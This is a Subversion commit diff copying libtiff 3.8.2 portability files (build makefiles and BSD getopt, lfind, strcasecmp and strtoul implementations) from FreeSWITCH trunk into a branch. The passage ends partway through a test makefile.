+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+clean-noinstLTLIBRARIES:
+	-test -z "$(noinst_LTLIBRARIES)" || rm -f $(noinst_LTLIBRARIES)
+	@list='$(noinst_LTLIBRARIES)'; for p in $$list; do \
+	  dir="`echo $$p | sed -e 's|/[^/]*$$||'`"; \
+	  test "$$dir" != "$$p" || dir=.; \
+	  echo "rm -f \"$${dir}/so_locations\""; \
+	  rm -f "$${dir}/so_locations"; \
+	done
+libport.la: $(libport_la_OBJECTS) $(libport_la_DEPENDENCIES) 
+	$(LINK)  $(libport_la_LDFLAGS) $(libport_la_OBJECTS) $(libport_la_LIBADD) $(LIBS)
+
+mostlyclean-compile:
+	-rm -f *.$(OBJEXT)
+
+distclean-compile:
+	-rm -f *.tab.c
+
+@AMDEP_TRUE@@am__include@ @am__quote@$(DEPDIR)/getopt.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@$(DEPDIR)/lfind.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@$(DEPDIR)/strcasecmp.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@$(DEPDIR)/strtoul.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/dummy.Plo@am__quote@
+
+.c.o:
+@am__fastdepCC_TRUE@	if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(COMPILE) -c $<
+
+.c.obj:
+@am__fastdepCC_TRUE@	if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ `$(CYGPATH_W) '$<'`; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(COMPILE) -c `$(CYGPATH_W) '$<'`
+
+.c.lo:
+@am__fastdepCC_TRUE@	if $(LTCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Plo"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(LTCOMPILE) -c -o $@ $<
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+
+ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
+	list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	mkid -fID $$unique
+tags: TAGS
+
+TAGS:  $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \
+	  test -n "$$unique" || unique=$$empty_fix; \
+	  $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
+	    $$tags $$unique; \
+	fi
+ctags: CTAGS
+CTAGS:  $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	test -z "$(CTAGS_ARGS)$$tags$$unique" \
+	  || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
+	     $$tags $$unique
+
+GTAGS:
+	here=`$(am__cd) $(top_builddir) && pwd` \
+	  && cd $(top_srcdir) \
+	  && gtags -i $(GTAGS_ARGS) $$here
+
+distclean-tags:
+	-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile $(LTLIBRARIES)
+installdirs:
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool clean-noinstLTLIBRARIES \
+	mostlyclean-am
+
+distclean: distclean-am
+	-rm -rf $(DEPDIR) ./$(DEPDIR)
+	-rm -f Makefile
+distclean-am: clean-am distclean-compile distclean-generic \
+	distclean-libtool distclean-tags
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -rf $(DEPDIR) ./$(DEPDIR)
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-compile mostlyclean-generic \
+	mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+.PHONY: CTAGS GTAGS all all-am check check-am clean clean-generic \
+	clean-libtool clean-noinstLTLIBRARIES ctags distclean \
+	distclean-compile distclean-generic distclean-libtool \
+	distclean-tags distdir dvi dvi-am html html-am info info-am \
+	install install-am install-data install-data-am install-exec \
+	install-exec-am install-info install-info-am install-man \
+	install-strip installcheck installcheck-am installdirs \
+	maintainer-clean maintainer-clean-generic mostlyclean \
+	mostlyclean-compile mostlyclean-generic mostlyclean-libtool \
+	pdf pdf-am ps ps-am tags uninstall uninstall-am \
+	uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/port/Makefile.vc

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/port/Makefile.vc (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/port/Makefile.vc) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/port/Makefile.vc	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/port/Makefile.vc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,43 @@
+# $Id: Makefile.vc,v 1.4 2006/03/23 14:54:02 dron Exp $
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+#
+# Makefile for MS Visual C and Watcom C compilers.
+#
+# To build:
+# C:\libtiff\port> nmake /f makefile.vc 
+
+!INCLUDE ..\nmake.opt
+
+OBJ	= \
+	strcasecmp.obj \
+	getopt.obj
+
+all:	libport.lib
+
+libport.lib:	$(OBJ)
+	$(AR) /out:libport.lib $(OBJ)
+
+clean:
+	-del *.obj
+	-del *.lib
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/port/dummy.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/port/dummy.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/port/dummy.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/port/dummy.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/port/dummy.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+/* $Id: dummy.c,v 1.2 2005/07/07 15:21:52 dron Exp $ */
+
+/*
+ * Dummy function, just to be ensure that the library always will be created.
+ */
+
+static void
+libport_dummy_function()
+{
+        return;
+}
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/port/getopt.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/port/getopt.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/port/getopt.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/port/getopt.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/port/getopt.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,124 @@
+/* $Id: getopt.c,v 1.2 2005/07/07 16:34:06 dron Exp $ */
+
+/*
+ * Copyright (c) 1987, 1993, 1994
+ *	The Regents of the University of California.  All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. Neither the name of the University nor the names of its contributors
+ *    may be used to endorse or promote products derived from this software
+ *    without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
+
+#if 0
+static char sccsid[] = "@(#)getopt.c	8.3 (Berkeley) 4/27/95";
+__RCSID("$NetBSD: getopt.c,v 1.26 2003/08/07 16:43:40 agc Exp $");
+#endif
+
+#include <stdio.h>
+#include <string.h>
+
+int	opterr = 1,		/* if error message should be printed */
+	optind = 1,		/* index into parent argv vector */
+	optopt,			/* character checked for validity */
+	optreset;		/* reset getopt */
+char	*optarg;		/* argument associated with option */
+
+#define	BADCH	(int)'?'
+#define	BADARG	(int)':'
+#define	EMSG	""
+
+/*
+ * getopt --
+ *	Parse argc/argv argument vector.
+ */
+int
+getopt(int argc, char * const argv[], const char *optstring)
+{
+	static char *place = EMSG;		/* option letter processing */
+	char *oli;				/* option letter list index */
+
+	if (optreset || *place == 0) {		/* update scanning pointer */
+		optreset = 0;
+		place = argv[optind];
+		if (optind >= argc || *place++ != '-') {
+			/* Argument is absent or is not an option */
+			place = EMSG;
+			return (-1);
+		}
+		optopt = *place++;
+		if (optopt == '-' && *place == 0) {
+			/* "--" => end of options */
+			++optind;
+			place = EMSG;
+			return (-1);
+		}
+		if (optopt == 0) {
+			/* Solitary '-', treat as a '-' option
+			   if the program (eg su) is looking for it. */
+			place = EMSG;
+			if (strchr(optstring, '-') == NULL)
+				return -1;
+			optopt = '-';
+		}
+	} else
+		optopt = *place++;
+
+	/* See if option letter is one the caller wanted... */
+	if (optopt == ':' || (oli = strchr(optstring, optopt)) == NULL) {
+		if (*place == 0)
+			++optind;
+		if (opterr && *optstring != ':')
+			(void)fprintf(stderr,
+                                      "unknown option -- %c\n", optopt);
+		return (BADCH);
+	}
+
+	/* Does this option need an argument? */
+	if (oli[1] != ':') {
+		/* don't need argument */
+		optarg = NULL;
+		if (*place == 0)
+			++optind;
+	} else {
+		/* Option-argument is either the rest of this argument or the
+		   entire next argument. */
+		if (*place)
+			optarg = place;
+		else if (argc > ++optind)
+			optarg = argv[optind];
+		else {
+			/* option-argument absent */
+			place = EMSG;
+			if (*optstring == ':')
+				return (BADARG);
+			if (opterr)
+				(void)fprintf(stderr,
+                                        "option requires an argument -- %c\n",
+                                        optopt);
+			return (BADCH);
+		}
+		place = EMSG;
+		++optind;
+	}
+	return (optopt);			/* return option letter */
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/port/lfind.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/port/lfind.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/port/lfind.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/port/lfind.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/port/lfind.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,58 @@
+/* $Id: lfind.c,v 1.3 2005/12/27 15:08:22 dron Exp $ */
+
+/*
+ * Copyright (c) 1989, 1993
+ *	The Regents of the University of California.  All rights reserved.
+ *
+ * This code is derived from software contributed to Berkeley by
+ * Roger L. Snyder.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. Neither the name of the University nor the names of its contributors
+ *    may be used to endorse or promote products derived from this software
+ *    without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
+
+#if 0
+static char sccsid[] = "@(#)lsearch.c	8.1 (Berkeley) 6/4/93";
+__RCSID("$NetBSD: lsearch.c,v 1.2 2005/07/06 15:47:15 drochner Exp $");
+#endif
+
+#include <sys/types.h>
+
+#ifndef NULL
+# define NULL 0
+#endif
+
+void *
+lfind(const void *key, const void *base, size_t *nmemb, size_t size,
+      int(*compar)(const void *, const void *))
+{
+	char *element, *end;
+
+	end = (char *)base + *nmemb * size;
+	for (element = (char *)base; element < end; element += size)
+		if (!compar(element, key))		/* key found */
+			return element;
+
+	return NULL;
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/port/strcasecmp.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/port/strcasecmp.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/port/strcasecmp.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/port/strcasecmp.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/port/strcasecmp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,50 @@
+/* $Id: strcasecmp.c,v 1.2 2005/07/07 16:34:06 dron Exp $ */
+
+/*
+ * Copyright (c) 1987, 1993
+ *	The Regents of the University of California.  All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. Neither the name of the University nor the names of its contributors
+ *    may be used to endorse or promote products derived from this software
+ *    without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
+
+#if 0
+static char sccsid[] = "@(#)strcasecmp.c	8.1 (Berkeley) 6/4/93";
+__RCSID("$NetBSD: strcasecmp.c,v 1.16 2003/08/07 16:43:49 agc Exp $");
+#endif
+
+#include <ctype.h>
+#include <string.h>
+
+int
+strcasecmp(const char *s1, const char *s2)
+{
+	const unsigned char *us1 = (const unsigned char *)s1,
+			*us2 = (const unsigned char *)s2;
+
+	while (tolower(*us1) == tolower(*us2++))
+		if (*us1++ == '\0')
+			return (0);
+	return (tolower(*us1) - tolower(*--us2));
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/port/strtoul.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/port/strtoul.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/port/strtoul.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/port/strtoul.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/port/strtoul.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,109 @@
+/* $Id: strtoul.c,v 1.2 2005/07/07 16:34:06 dron Exp $ */
+
+/*
+ * Copyright (c) 1990, 1993
+ *	The Regents of the University of California.  All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. Neither the name of the University nor the names of its contributors
+ *    may be used to endorse or promote products derived from this software
+ *    without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
+
+#if 0
+static char sccsid[] = "@(#)strtoul.c	8.1 (Berkeley) 6/4/93";
+__RCSID("$NetBSD: strtoul.c,v 1.16 2003/08/07 16:43:45 agc Exp $");
+#endif
+
+#include <ctype.h>
+#include <errno.h>
+#include <limits.h>
+#include <stdlib.h>
+
+/*
+ * Convert a string to an unsigned long integer.
+ *
+ * Ignores `locale' stuff.  Assumes that the upper and lower case
+ * alphabets and digits are each contiguous.
+ */
+unsigned long
+strtoul(const char *nptr, char **endptr, int base)
+{
+	const char *s;
+	unsigned long acc, cutoff;
+	int c;
+	int neg, any, cutlim;
+
+	/*
+	 * See strtol for comments as to the logic used.
+	 */
+	s = nptr;
+	do {
+		c = (unsigned char) *s++;
+	} while (isspace(c));
+	if (c == '-') {
+		neg = 1;
+		c = *s++;
+	} else {
+		neg = 0;
+		if (c == '+')
+			c = *s++;
+	}
+	if ((base == 0 || base == 16) &&
+	    c == '0' && (*s == 'x' || *s == 'X')) {
+		c = s[1];
+		s += 2;
+		base = 16;
+	}
+	if (base == 0)
+		base = c == '0' ? 8 : 10;
+
+	cutoff = ULONG_MAX / (unsigned long)base;
+	cutlim = (int)(ULONG_MAX % (unsigned long)base);
+	for (acc = 0, any = 0;; c = (unsigned char) *s++) {
+		if (isdigit(c))
+			c -= '0';
+		else if (isalpha(c))
+			c -= isupper(c) ? 'A' - 10 : 'a' - 10;
+		else
+			break;
+		if (c >= base)
+			break;
+		if (any < 0)
+			continue;
+		if (acc > cutoff || (acc == cutoff && c > cutlim)) {
+			any = -1;
+			acc = ULONG_MAX;
+			errno = ERANGE;
+		} else {
+			any = 1;
+			acc *= (unsigned long)base;
+			acc += c;
+		}
+	}
+	if (neg && any > 0)
+		acc = -acc;
+	if (endptr != 0)
+		/* LINTED interface specification */
+		*endptr = (char *)(any ? s - 1 : nptr);
+	return (acc);
+}

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/test (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/test)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/test


Name: svn:ignore
   + .deps
Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/test/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/test/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/test/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/test/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/test/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,44 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+LIBTIFF = $(top_builddir)/libtiff/libtiff.la
+
+#EXTRA_DIST = Makefile.vc
+
+TESTS = $(check_PROGRAMS)
+
+check_PROGRAMS = ascii_tag long_tag short_tag strip_rw
+
+ascii_tag_SOURCES = ascii_tag.c
